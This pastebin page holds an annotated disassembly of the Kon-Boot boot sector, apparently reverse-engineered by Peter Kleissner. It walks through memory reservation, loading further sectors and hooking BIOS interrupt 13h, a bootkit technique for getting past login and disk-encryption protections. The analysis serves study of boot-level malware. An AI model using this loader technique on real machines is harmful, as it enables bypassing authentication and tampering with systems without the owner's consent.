Part of Slepp's ProjectsPastebinTURLImagebinFilebin
Feedback -- English French German Japanese
Create Upload Newest Tools Donate

Advertising

Paste Description for Kon-B00t Boot Sector

reversed boot sector of Kon-B00t

reverse engineering done by Peter Kleissner

Kon-B00t Boot Sector
Sunday, July 26th, 2009 at 9:38:06am UTC 

  1. ; Kon-B00t Boot Sector
  2.  
  3. ; reverse engineering done by Peter Kleissner
  4.  
  5.  
  6. ; code will be executed from 0000h:7C00h
  7. org 0000h:7C00h
  8.  
  9.  
  10. ; do the usual initialization of the processors registers
  11. 00000000  FA                cli
  12. 00000001  33C0              xor ax,ax
  13. 00000003  8ED0              mov ss,ax
  14. 00000005  8ED8              mov ds,ax
  15. 00000007  8EC0              mov es,ax
  16.  
  17. ; set the stack to 0000h:7C00h
  18. 00000009  B8007C            mov ax,0x7c00
  19. 0000000C  8BE0              mov sp,ax
  20.  
  21. ; jump to segment 0000h
  22. 0000000E  68007C            push word 0x7c00                                    ; initial start address
  23. 00000011  1E                push ds                                             ; cs = 0000h
  24. 00000012  68167C            push word Initial_Code_Start                        ; ip = 7C16h
  25. 00000015  CB                retf
  26.  
  27. Initial_Code_Start:
  28. 00000016  FB                sti                                                 ; reactivate interrupts
  29. 00000017  1E                push ds                                             ; segment = 0000h
  30. 00000018  50                push ax                                             ; offset = 0000h
  31. 00000019  8816EA7C          mov [Store_Drive +1],dl                             ; remember the boot drive
  32. 0000001D  E83800            call word Execute_VGA_Code
  33.  
  34. ; allocate 5 KB from the end of memory and relocate
  35. 00000020  832E130405        sub word [0x413],byte 5                             ; using "base memory size in KB" of BIOS Data Area (0040h:0013h)               
  36. 00000025  A11304            mov ax,[0x413]                                      ; get the new memory address
  37. 00000028  C1E006            shl ax,6                                            ; * 64 = * 1024 / 16  (= segment address)
  38. 0000002B  8EC0              mov es,ax                                           ; of course es will point to the memory
  39.  
  40. ; read 9 sectors from logical sector 1 to the newly allocated memory
  41. 0000002D  B80902            mov ax,0x209                                        ; Function 02h = "Read Sector[s]", 9 sectors to read
  42. 00000030  33C9              xor cx,cx                                           ; Cylinder Number = 0
  43. 00000032  32F6              xor dh,dh                                           ; first floppy drive (you can't use it in your second :D)
  44. 00000034  8BD9              mov bx,cx                                           ; es:bx -> transfer buffer
  45. 00000036  83C102            add cx,byte +0x2                                    ; Sector Number = 2   (= second sector)
  46. 00000039  CD13              int 0x13                                            ; read!
  47. 0000003B  725F              jc Error_Handler                                    ; if any error occurs notify the user
  48.  
  49. ; backup original interrupt 13h vector
  50. 0000003D  A14E00            mov ax,[4*13h + 2]                                  ; segment of Interrupt 13h handler
  51. 00000040  26A30400          mov [es:0x4],ax                                     ;   store into the read sectors
  52. 00000044  A14C00            mov ax,[4*13h + 0]                                  ; offset of Interrupt 13h handler
  53. 00000047  26A30200          mov [es:0x2],ax                                     ;   store into the read sectors
  54.  
  55. ; install interrutp 13h hook
  56. 0000004B  B85B00            mov ax,0x5B                                         ; code will start at offset 5Bh
  57. 0000004E  8C064E00          mov [4*13h + 2],es                                  ; int 13h segment = 0000h
  58. 00000052  A34C00            mov [4*13h + 0],ax                                  ; int 13h segment = 005Bh
  59.  
  60. ; jump to the relocated code
  61. 00000055  06                push es                                             ; cs = 9XXXh
  62. 00000056  53                push bx                                             ; ip = 0000h
  63. 00000057  CB                retf
  64.  
  65.  
  66.  
  67. Execute_VGA_Code:
  68.  
  69. ; executes 2 sectors from sector 8Ah and passes it 128 sectors of data
  70.  
  71. ; store register contents (that will be later modified)
  72. 00000058  06                push es
  73. 00000059  1E                push ds
  74. 0000005A  60                pushaw
  75.  
  76. ; read 2 sectors from sector 138 to address 0000h:2C00h
  77. 0000005B  B88A00            mov ax,0x8A                                         ; from sector 8Ah
  78. 0000005E  B90200            mov cx,0x2                                          ; 2 sectors
  79. 00000061  BB002C            mov bx,0x2C00                                       ; 0000h:2C00h
  80. 00000064  E85B00            call word Read_Sectors_LoopyLoop
  81.  
  82. ; allocate 65 KB, so TrueCrypt will never have enough memory :)
  83. 00000067  832E130441        sub word [0x413],65                                 ; again using MEM 0040h:0013h - BASE MEMORY SIZE IN KBYTES
  84. 0000006C  A11304            mov ax,[0x413]                                      ; get the base address
  85. 0000006F  C1E006            shl ax,0x6                                          ; calculating the segment address (* 1024 / 16)
  86. 00000072  8EC0              mov es,ax                                           ; es and ds will point to the new allocated memory
  87. 00000074  8ED8              mov ds,ax
  88.  
  89. ; read 126 sectors from sector 13 to offset 0000h
  90. 00000076  B80D00            mov ax,13                                           ; sector number 13
  91. 00000079  33DB              xor bx,bx                                           ; offset 0000h to memory of allocated 41 KB
  92. 0000007B  B97E00            mov cx,7Eh                                          ; 126 sectors
  93. 0000007E  E84100            call word Read_Sectors_LoopyLoop                    ; read!
  94.  
  95. ; read 2 sectors from sector 11 and append them to the read contents
  96. 00000081  B80B00            mov ax,11                                           ; sector number 11
  97. 00000084  BB00FC            mov bx,126 * 512                                    ; append them
  98. 00000087  B90200            mov cx,2                                            ; 2 sectors
  99. 0000008A  E83500            call word Read_Sectors_LoopyLoop                    ; read!
  100.  
  101. ; es:bx = 9XXXh:0000h, 65 KB allocated memory & 128 sectors read in there, data
  102. ; 0000h:2C00h contains the code (2 sectors read)
  103. 0000008D  6A00              push byte +0x0                                      ; segment = 0000h
  104. 0000008F  68002C            push word 0x2c00                                    ; offset = 2C00h
  105. 00000092  CB                retf                                                ; call that code
  106.  
  107. ; remove the allocated 65 KB data
  108. 00000093  8306130441        add word [0x413],byte +0x41                         ; no longer used, no longer required
  109.  
  110. ; restore the register contents
  111. 00000098  61                popaw
  112. 00000099  1F                pop ds
  113. 0000009A  07                pop es
  114.  
  115. 0000009B  C3                ret
  116.  
  117.  
  118.  
  119. Error_Handler:
  120.  
  121. ; display "Err" on the screen
  122. 0000009C  6800B8            push word 0xb800                                    ; segment B800h = Textmode Buffer
  123. 0000009F  07                pop es                                              ; -> access over es
  124. 000000A0  B08E              mov al,0x8E                                         ; set the character color to use 
  125. 000000A2  26C606000045      mov byte [es:0x0],0x45                              ; display 'E'
  126. 000000A8  26A20100          mov [es:0x1],al                                     ;   (character color)
  127. 000000AC  26C606020072      mov byte [es:0x2],0x72                              ; display 'r'
  128. 000000B2  26A20300          mov [es:0x3],al                                     ;   (character color)
  129. 000000B6  26C606040072      mov byte [es:0x4],0x72                              ; display 'r'
  130. 000000BC  26A20500          mov [es:0x5],al                                     ;   (character color)
  131.  
  132. Endless_loop:                                                                   ; note by PK:
  133. 000000C0  EBFE              jmp short Endless_loop                              ; use cli, hlt, no onse uses endless loops
  134.  
  135.  
  136.  
  137. Read_Sectors_LoopyLoop:
  138.  
  139. ; ax = logical sector number
  140. ; cx = sector count
  141. ; es:bx = sector buffer
  142.  
  143. ; read sector for sector
  144. 000000C2  E80900            call word Read_CHS_Sectors                          ; read one sector of it
  145. 000000C5  81C30002          add bx,512                                          ; seek in the buffer to the next sector
  146. 000000C9  40                inc ax                                              ; -> next sector
  147. 000000CA  49                dec cx                                              ; repeat cx times
  148. 000000CB  75F5              jnz Read_Sectors_LoopyLoop
  149.  
  150. 000000CD  C3                ret
  151.  
  152.  
  153.  
  154. Read_CHS_Sectors:                                                               ; this code is more old than I am
  155.  
  156. ; ax = logical sector number
  157.  
  158. 000000CE  60                pushaw                                              ; store register contents
  159.  
  160. 000000CF  33D2              xor dx,dx                                           ; dx:ax / 36
  161. 000000D1  B124              mov cl,36                                           ; 36 sectors per track?
  162. 000000D3  48                dec ax                                              ; -1 to get correct sector number
  163. 000000D4  F6F1              div cl                                              ; => Sector Number / Sectors per Track = Cylinder Number
  164. 000000D6  8AE8              mov ch,al                                           ; store the cylinder numer in ch
  165. 000000D8  80FC12            cmp ah,18                                           ; on head 1/2?
  166. 000000DB  7205              jc Read_CHS_Sectors_SetHead                         ; if ah > 18 then head 1
  167. 000000DD  FEC6              inc dh                                              ; head +1
  168. 000000DF  80EC12            sub ah,18                                           ;   and -18 because of using the next head UGLY UGLY UGLY
  169. Read_CHS_Sectors_SetHead:
  170. 000000E2  8ACC              mov cl,ah                                           ; use the correct sector number
  171. 000000E4  FEC1              inc cl                                              ; sector number, starting from 1
  172. 000000E6  B80102            mov ax,0x201                                        ; Function 02h = "Read Sector[s]", 1 sector to read
  173.  
  174. Store_Drive:
  175. 000000E9  B212              mov dl,0x12                                         ; the correct BIOS driver number will be patched at runtime
  176. 000000EB  F9                stc
  177. 000000EC  CD13              int 0x13                                            ; read the sectors!
  178. 000000EE  72AC              jc Error_Handler                                    ; if any error occurs notify the user
  179. 000000F0  FB                sti
  180. 000000F1  61                popaw                                               ; restore register contents and return
  181.  
  182. 000000F2  C3                ret
  183.  
  184.  
  185.  
  186. ; fill with nops
  187. times 510-($-$$) db 90h
  188.  
  189. Boot_Signature  dw      0AA55h

advertising

Update the Post

Either update this post and resubmit it with changes, or make a new post.

You may also comment on this post.

update paste below
details of the post (optional)

Note: Only the paste content is required, though the following information can be useful to others.

Save name / title?

(space separated, optional)



Please note that information posted here will not expire by default. If you do not want it to expire, please set the expiry time above. If it is set to expire, web search engines will not be allowed to index it prior to it expiring. Items that are not marked to expire will be indexable by search engines. Be careful with your passwords. All illegal activities will be reported and any information will be handed over to the authorities, so be good.

comments powered by Disqus
worth-right